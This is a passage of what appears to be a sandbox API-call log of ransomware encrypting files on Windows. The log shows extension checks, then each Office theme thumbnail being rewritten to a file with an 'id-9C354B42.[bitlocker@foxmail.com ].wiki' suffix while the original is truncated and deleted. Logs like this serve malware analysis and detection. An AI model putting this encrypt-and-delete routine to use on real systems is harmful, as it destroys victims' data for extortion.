(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0052.328] lstrlenW (lpString=".dbf") returned 4 [0052.328] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0052.328] lstrlenW (lpString=".1cd") returned 4 [0052.328] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0052.328] lstrlenW (lpString=".jpg") returned 4 [0052.328] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.328] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0052.328] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0052.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.328] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=26402) returned 1 [0052.328] CloseHandle (hObject=0x1e8) returned 1 [0052.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0052.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.329] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.329] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0052.329] GetLastError () returned 0x0 [0052.329] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x6722, lpOverlapped=0x0) returned 1 [0052.675] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x6730, lpOverlapped=0x0) returned 1 [0052.676] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.676] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.676] SetEndOfFile (hFile=0x1dc) returned 1 [0052.676] CloseHandle (hObject=0x1dc) returned 1 [0052.685] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.685] SetEndOfFile (hFile=0x1e8) returned 1 [0052.686] CloseHandle (hObject=0x1e8) returned 1 [0052.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0052.686] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 1 [0052.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0052.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0052.687] lstrlenW (lpString=".doc") returned 4 [0052.687] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.687] lstrlenW (lpString=".docx") returned 5 [0052.687] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.687] lstrlenW (lpString=".pdf") returned 4 [0052.687] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.687] lstrlenW (lpString=".xls") returned 4 [0052.687] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.687] lstrlenW (lpString=".xlsx") returned 5 [0052.687] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.687] lstrlenW (lpString=".ppt") returned 4 [0052.687] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0052.687] lstrlenW (lpString=".zip") returned 4 [0052.687] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.687] lstrlenW (lpString=".rar") returned 4 [0052.687] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.687] lstrlenW (lpString=".bz2") returned 4 [0052.687] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.687] lstrlenW (lpString=".7z") returned 3 [0052.687] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0052.687] lstrlenW (lpString=".dbf") returned 4 [0052.687] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0052.687] lstrlenW (lpString=".1cd") returned 4 [0052.687] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0052.688] lstrlenW (lpString=".jpg") returned 4 [0052.688] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0052.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0052.688] lstrlenW (lpString=".doc") returned 4 [0052.688] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.688] lstrlenW (lpString=".docx") returned 5 [0052.688] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.688] lstrlenW (lpString=".pdf") returned 4 [0052.688] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.688] lstrlenW (lpString=".xls") returned 4 [0052.688] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.688] lstrlenW (lpString=".xlsx") returned 5 [0052.688] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.688] lstrlenW (lpString=".ppt") returned 4 [0052.688] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0052.688] lstrlenW (lpString=".zip") returned 4 [0052.688] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.688] lstrlenW (lpString=".rar") returned 4 [0052.688] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.688] lstrlenW (lpString=".bz2") returned 4 [0052.688] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.688] lstrlenW (lpString=".7z") returned 3 [0052.688] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0052.688] lstrlenW (lpString=".dbf") returned 4 [0052.688] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0052.688] lstrlenW (lpString=".1cd") returned 4 [0052.688] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0052.688] lstrlenW (lpString=".jpg") returned 4 [0052.689] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.689] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0052.689] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0052.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0053.221] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=33559) returned 1 [0053.228] CloseHandle (hObject=0x180) returned 1 [0053.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0053.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.230] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.237] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0053.244] GetLastError () returned 0x0 [0053.244] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x8317, lpOverlapped=0x0) returned 1 [0053.261] WriteFile (in: hFile=0x180, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x8320, lpOverlapped=0x0) returned 1 [0053.530] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.530] WriteFile (in: hFile=0x180, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.531] SetEndOfFile (hFile=0x180) returned 1 [0053.531] CloseHandle (hObject=0x180) returned 1 [0053.531] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.531] SetEndOfFile (hFile=0x1f4) returned 1 [0053.532] CloseHandle (hObject=0x1f4) returned 1 [0053.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0053.532] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 1 [0053.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0053.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0053.532] lstrlenW (lpString=".doc") returned 4 [0053.532] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.532] lstrlenW (lpString=".docx") returned 5 [0053.532] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.532] lstrlenW (lpString=".pdf") returned 4 [0053.533] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.533] lstrlenW (lpString=".xls") returned 4 [0053.533] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.533] lstrlenW (lpString=".xlsx") returned 5 [0053.533] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.533] lstrlenW (lpString=".ppt") returned 4 [0053.533] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0053.533] lstrlenW (lpString=".zip") returned 4 [0053.533] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.533] lstrlenW (lpString=".rar") returned 4 [0053.533] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.533] lstrlenW (lpString=".bz2") returned 4 [0053.533] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.533] lstrlenW (lpString=".7z") returned 3 [0053.533] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0053.533] lstrlenW (lpString=".dbf") returned 4 [0053.533] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0053.533] lstrlenW (lpString=".1cd") returned 4 [0053.533] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0053.533] lstrlenW (lpString=".jpg") returned 4 [0053.533] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0053.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0053.533] lstrlenW (lpString=".doc") returned 4 [0053.533] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.533] lstrlenW (lpString=".docx") returned 5 [0053.533] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.533] lstrlenW (lpString=".pdf") returned 4 [0053.533] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.533] lstrlenW (lpString=".xls") returned 4 [0053.533] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.534] lstrlenW (lpString=".xlsx") returned 5 [0053.534] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.534] lstrlenW (lpString=".ppt") returned 4 [0053.534] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0053.534] lstrlenW (lpString=".zip") returned 4 [0053.534] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.534] lstrlenW (lpString=".rar") returned 4 [0053.534] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.534] lstrlenW (lpString=".bz2") returned 4 [0053.534] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.534] lstrlenW (lpString=".7z") returned 3 [0053.534] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0053.534] lstrlenW (lpString=".dbf") returned 4 [0053.534] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0053.534] lstrlenW (lpString=".1cd") returned 4 [0053.534] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0053.534] lstrlenW (lpString=".jpg") returned 4 [0053.534] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.534] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0053.534] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0053.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.535] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=37440) returned 1 [0053.535] CloseHandle (hObject=0x1f4) returned 1 [0053.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0053.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.535] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.535] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.018] GetLastError () returned 0x0 [0054.018] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x9240, lpOverlapped=0x0) returned 1 [0054.020] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x9250, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x9250, lpOverlapped=0x0) returned 1 [0054.022] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.022] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.022] SetEndOfFile (hFile=0x1dc) returned 1 [0054.022] CloseHandle (hObject=0x1dc) returned 1 [0054.022] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.022] SetEndOfFile (hFile=0x1f4) returned 1 [0054.023] CloseHandle (hObject=0x1f4) returned 1 [0054.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.024] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 1 [0054.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.024] lstrlenW (lpString=".doc") returned 4 [0054.024] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.024] lstrlenW (lpString=".docx") returned 5 [0054.024] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.024] lstrlenW (lpString=".pdf") returned 4 [0054.024] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.024] lstrlenW (lpString=".xls") returned 4 [0054.024] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.025] lstrlenW (lpString=".xlsx") returned 5 [0054.025] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.025] lstrlenW (lpString=".ppt") returned 4 [0054.025] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.025] lstrlenW (lpString=".zip") returned 4 [0054.025] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.025] lstrlenW (lpString=".rar") returned 4 [0054.025] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.025] lstrlenW (lpString=".bz2") returned 4 [0054.025] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.025] lstrlenW (lpString=".7z") returned 3 [0054.025] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.025] lstrlenW (lpString=".dbf") returned 4 [0054.025] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.025] lstrlenW (lpString=".1cd") returned 4 [0054.025] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.025] lstrlenW (lpString=".jpg") returned 4 [0054.025] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.025] lstrlenW (lpString=".doc") returned 4 [0054.025] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.025] lstrlenW (lpString=".docx") returned 5 [0054.025] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.025] lstrlenW (lpString=".pdf") returned 4 [0054.025] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.025] lstrlenW (lpString=".xls") returned 4 [0054.025] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.025] lstrlenW (lpString=".xlsx") returned 5 [0054.025] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.026] lstrlenW (lpString=".ppt") returned 4 [0054.026] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.026] lstrlenW (lpString=".zip") returned 4 [0054.026] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.026] lstrlenW (lpString=".rar") returned 4 [0054.026] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.026] lstrlenW (lpString=".bz2") returned 4 [0054.026] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned 